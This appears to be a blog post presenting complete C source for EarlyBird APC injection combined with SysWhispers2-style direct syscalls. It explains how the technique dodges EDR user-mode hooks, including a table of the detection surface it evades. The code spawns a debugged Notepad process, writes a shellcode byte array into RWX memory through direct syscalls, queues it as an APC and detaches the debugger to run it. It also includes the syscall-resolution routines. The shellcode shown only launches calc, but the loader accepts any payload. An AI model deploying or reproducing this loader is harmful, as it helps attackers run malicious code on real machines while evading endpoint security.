EarlyBird-DirectSyscall
EarlyBird-DirectSyscall
What is it?
EarlyBird APC injection combined with direct syscalls. Two evasion layers in one:
- EarlyBird — shellcode is queued as an APC on a process created under
DEBUG_PROCESS, before any user-mode DLLs (including EDR) have initialized. When the debugger detaches, the thread resumes and the APC fires before the EDR hook DLL gets itsDLL_PROCESS_ATTACH. - Direct syscalls (SysWhispers2) — memory operations bypass ntdll user-mode hooks entirely by invoking the kernel directly from hand-written ASM stubs, with syscall numbers derived at runtime from a sorted ntdll export table.
How it works
Syscall initialization
1
2
3
4
5
6
7
8
9
10
11
12
SW2_PopulateSyscallList()
GS:[0x60] → PEB → Ldr.InMemoryOrderModuleList
walk until DllName == "ntdll.dll" (compared by 4-byte chunks)
collect all Zw* exports → sort by address ascending
syscall number (SSN) = index in sorted list
N0xAllocateVirtualMemory / N0xWriteVirtualMemory /
N0xProtectVirtualMemory / N0xQueueApcThread:
SW2_GetSyscallNumber(hash) → SSN
set EAX = SSN in ASM stub
call syscall instruction directly — not through ntdll stub
EDR hooks in ntdll are bypassed completely
Two stub variants are included:
1
2
3
4
syscallsstubs_std_x64.asm → standard: SSN in EAX, syscall; ret
syscallsstubs_rnd_x64.asm → random: SSN in EAX, jmp to a random
clean syscall gadget in ntdll
(return address points inside ntdll, not our code)
CreateDebuggedProc — DEBUG_PROCESS flag
1
2
3
4
5
6
7
8
GetSystemDirectoryA → build full path to Notepad.exe
CreateProcessA(DEBUG_PROCESS)
→ process created with our process as its debugger
→ main thread blocks waiting for debug events to be handled
→ no DLLs have run DLL_PROCESS_ATTACH yet
→ EDR monitoring DLL has not loaded yet in the target
Returns: hProcess, hThread, dwProcessId
InjectRemoteProcess — direct syscalls
1
2
3
4
5
6
7
8
9
10
11
12
N0xAllocateVirtualMemory(hProcess, &pAddr, 0, &sRegionSize,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
→ direct kernel call — NtAllocateVirtualMemory hook in ntdll bypassed
→ RW allocation in target
N0xWriteVirtualMemory(hProcess, pAddr, Shellcode, size, &written)
→ shellcode copied to remote RW region
→ RtlSecureZeroMemory(Shellcode) — wipe local copy immediately
N0xProtectVirtualMemory(hProcess, &pAddr, &sRegionSize,
PAGE_EXECUTE_READWRITE, &dwOldProtect)
→ flip to RWX — still via direct syscall
Queue APC + detach debugger
1
2
3
4
5
6
7
8
9
10
N0xQueueApcThread(hThread, pShellcodeAddr, NULL, NULL, NULL)
→ shellcode address registered on main thread's APC queue
→ thread is still blocked waiting for debug events — hasn't run yet
DebugActiveProcessStop(dwProcessId)
→ detach our debugger
→ thread is released from debug hold
→ immediately enters alertable state during process initialization
→ APC queue is dispatched — shellcode executes
→ this all happens before EDR's DLL gets DLL_PROCESS_ATTACH
Why DEBUG_PROCESS instead of CREATE_SUSPENDED
1
2
3
4
5
CREATE_SUSPENDED: DEBUG_PROCESS:
ResumeThread resumes DebugActiveProcessStop resumes
standard technique less common pattern
well-known IOC blends with legitimate debugger activity
EDR may still load EDR DLL has no chance to load before APC fires
Detection surface
1
2
3
4
5
6
7
8
9
10
11
12
13
Operation Standard EarlyBird This implementation
────────────────────────────────────────────────────────────────────
Memory allocation NtAllocateVirtualMemory hooked by EDR
N0xAllocateVirtualMemory — kernel direct
Memory write NtWriteVirtualMemory hooked
N0xWriteVirtualMemory — kernel direct
Permission change NtProtectVirtualMemory hooked
N0xProtectVirtualMemory — kernel direct
APC queue NtQueueApcThread hooked
N0xQueueApcThread — kernel direct
Process creation CREATE_SUSPENDED (flagged)
DEBUG_PROCESS (less flagged)
Resume mechanism ResumeThread DebugActiveProcessStop
earlybird.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/*
EarlyBird Injection with Direct Syscalls technique.
We utilize custom direct syscalls since EDRs commonly hook native APIs in NTDLL user-mode.
Although this technique is not a complete EDR bypass on its own, it demonstrates the
mechanics behind syscall-based injection and APC abuse for early execution.
*/
#include <Windows.h>
#include <stdio.h>
#include "syscalls.h"
// x64 calc shellcode
unsigned char Shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
/*
Allocates RW memory in the remote process, writes shellcode into it
hProcess -> Handle to target process
pShellcode -> Pointer to local shellcode buffer
sShellcodeSize -> Size of shellcode in bytes
ppRemoteAddr -> Receives the remote address where shellcode was written
*/
BOOL InjectRemoteProcess(_In_ HANDLE hProcess, _In_ PBYTE pShellcode, _In_ SIZE_T sShellcodeSize, _Out_ PVOID* ppRemoteAddr) {
// Verify parameters are filled
if (!hProcess || !pShellcode || !sShellcodeSize)
return FALSE;
PVOID pShellcodeAddr = NULL;
SIZE_T sNumBytesWritten = 0;
DWORD dwOldProtect = 0; // DWORD not a pointer — use 0 not NULL
NTSTATUS status;
SIZE_T sRegionSize = sShellcodeSize; // NT rounds this up to page boundary on return
// Allocate RW memory in remote process via direct syscall.
// BaseAddress (in: NULL = let kernel pick, out: actual base) and RegionSize
// (in/out: kernel rounds up to page boundary) are both pointer params.
if ((status = N0xAllocateVirtualMemory(hProcess, &pShellcodeAddr, 0, &sRegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0) {
printf("[!] N0xAllocateVirtualMemory: 0x%08X \n", status);
return FALSE;
}
printf("[+] Allocated Memory At: 0x%p\n", pShellcodeAddr);
// Write our shellcode into the remote address space via direct syscall
if ((status = N0xWriteVirtualMemory(hProcess, pShellcodeAddr, pShellcode, sShellcodeSize, &sNumBytesWritten)) != 0 || sNumBytesWritten != sShellcodeSize) {
printf("[!] N0xWriteVirtualMemory Failed: 0x%08X \n", status);
return FALSE;
}
// Zero out the local shellcode buffer now that it's been copied remotely
RtlSecureZeroMemory(pShellcode, sShellcodeSize);
// Flip remote memory from RW -> RX so the APC can execute it
if ((status = N0xProtectVirtualMemory(hProcess, &pShellcodeAddr, &sRegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) != 0) {
printf("[!] N0xProtectVirtualMemory Failed: 0x%08X \n", status);
return FALSE;
}
// Output the remote base address to the caller
*ppRemoteAddr = pShellcodeAddr;
return TRUE;
}
/*
Spawns a process under DEBUG_PROCESS so we become its debugger and the
main thread pauses waiting for debug events. This gives us a window to
inject and queue the APC before the thread ever runs user code.
We later detach with DebugActiveProcessStop, which resumes the thread
and triggers the queued APC (EarlyBird).
lpProcName -> Executable name relative to System32 (e.g. "Notepad.exe")
dwProcId -> Receives the spawned process ID
hProcess -> Receives handle to the spawned process
hThread -> Receives handle to the main thread
*/
BOOL CreateDebuggedProc(_In_ LPCSTR lpProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess, _Out_ HANDLE* hThread) {
// Verify parameter is filled
if (!lpProcName)
return FALSE;
CHAR lpProcPath[MAX_PATH * 2] = { 0 };
STARTUPINFO StartInfo = { 0 };
PROCESS_INFORMATION ProcInfo = { 0 };
// Init output parameters
*dwProcId = 0;
*hProcess = NULL;
*hThread = NULL;
// Setup required struct
StartInfo.cb = sizeof(STARTUPINFO);
// Retrieve System32 directory so we can build the full path
if (!GetSystemDirectoryA(lpProcPath, MAX_PATH)) {
printf("[!] GetSystemDirectoryA Failed: %d\n", GetLastError());
return FALSE;
}
// Append backslash + process name to get full path
strncat_s(lpProcPath, sizeof(lpProcPath), "\\", 1);
strncat_s(lpProcPath, sizeof(lpProcPath), lpProcName, strlen(lpProcName));
// Create process with DEBUG_PROCESS flag — we are the debugger, thread
// blocks on debug events until we call DebugActiveProcessStop
if (!CreateProcessA(NULL, lpProcPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &StartInfo, &ProcInfo)) {
printf("[!] CreateProcessA Failed: %d\n", GetLastError());
return FALSE;
}
// Outcast to output parameters
*dwProcId = ProcInfo.dwProcessId;
*hProcess = ProcInfo.hProcess;
*hThread = ProcInfo.hThread;
return TRUE;
}
#define TARGET_PROC "Notepad.exe"
int main() {
HANDLE hProcess = NULL, hThread = NULL;
DWORD dwProcessId = 0;
PVOID pShellcodeAddr = NULL;
printf("[+] Creating \"%s\" Process As A Debugged Process ...\n", TARGET_PROC);
if (!CreateDebuggedProc(TARGET_PROC, &dwProcessId, &hProcess, &hThread))
return -1;
printf("[+] Target Process PID: %d\n", dwProcessId);
if (!InjectRemoteProcess(hProcess, Shellcode, sizeof(Shellcode), &pShellcodeAddr))
return -1;
// EarlyBird: queue APC to the main thread pointing at our shellcode.
if (N0xQueueApcThread(hThread, (PKNORMAL_ROUTINE)pShellcodeAddr, NULL, NULL, NULL) != 0) {
printf("[!] N0xQueueApcThread Failed: %d\n", GetLastError());
return -1;
}
// Detach our debugger — this resumes the thread and triggers the queued APC
if (!DebugActiveProcessStop(dwProcessId)) {
printf("[!] DebugActiveProcessStop Failed: %d\n", GetLastError());
return -1;
}
printf("[+] Press <Enter> To Exit!");
getchar();
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
syscalls.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#include "syscalls.h"
#include <time.h>
#include <stdint.h>
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
SW2_SYSCALL_LIST SW2_SyscallList = { 0, 1 };
#ifdef RANDSYSCALL
#ifndef _WIN64
uint32_t ntdllBase = 0;
#else
uint64_t ntdllBase = 0;
#endif
#endif
DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}
return Hash;
}
BOOL SW2_PopulateSyscallList(void)
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;
#if defined(_WIN64)
PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
#else
PSW2_PEB Peb = (PSW2_PEB)__readfsdword(0x30);
#endif
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}
if (!ExportDirectory) return FALSE;
#ifdef RANDSYSCALL
#ifdef _WIN64
ntdllBase = (uint64_t)DllBase;
#else
ntdllBase = (uint64_t)DllBase;
#endif
#endif
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
#ifdef RANDSYSCALL
#ifdef _WIN64
EXTERN_C uint64_t SW2_GetRandomSyscallAddress(void)
#else
EXTERN_C DWORD SW2_GetRandomSyscallAddress(int callType)
#endif
{
int instructOffset = 0;
int instructValue = 0;
#ifndef _WIN64
// Wow64
if (callType == 0)
{
instructOffset = 0x05;
instructValue = 0x0E8;
}
// x86
else if (callType == 1)
{
instructOffset = 0x05;
instructValue = 0x0BA;
}
#else
instructOffset = 0x12;
instructValue = 0x0F;
#endif
srand(time(0));
do
{
int randNum = (rand() % (SW2_SyscallList.Count + 1));
if (*(unsigned char*)(ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset) == instructValue)
return (ntdllBase + SW2_SyscallList.Entries[randNum].Address + instructOffset);
} while(1);
}
#endif
syscalls.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
#define SW2_SEED 0x8BE2BD0F
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
typedef struct _SW2_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
typedef struct _SW2_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW2_PEB_LDR_DATA Ldr;
} SW2_PEB, *PSW2_PEB;
DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList(void);
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
EXTERN_C NTSTATUS N0xAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS N0xWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS N0xProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS N0xQueueApcThread(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
#endif
This post is licensed under
CC BY 4.0
by the author.
